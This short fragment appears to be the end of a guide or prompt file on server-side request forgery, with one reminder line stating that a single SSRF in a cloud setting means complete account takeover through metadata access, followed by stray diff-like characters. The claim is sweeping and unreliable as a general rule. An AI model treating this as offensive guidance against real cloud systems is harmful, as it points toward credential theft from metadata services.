<remember>SSRF is often the key to cloud compromise. A single SSRF in cloud = complete account takeover through metadata access.</remember>
|
168
|
+
</ssrf_vulnerability_guide>
|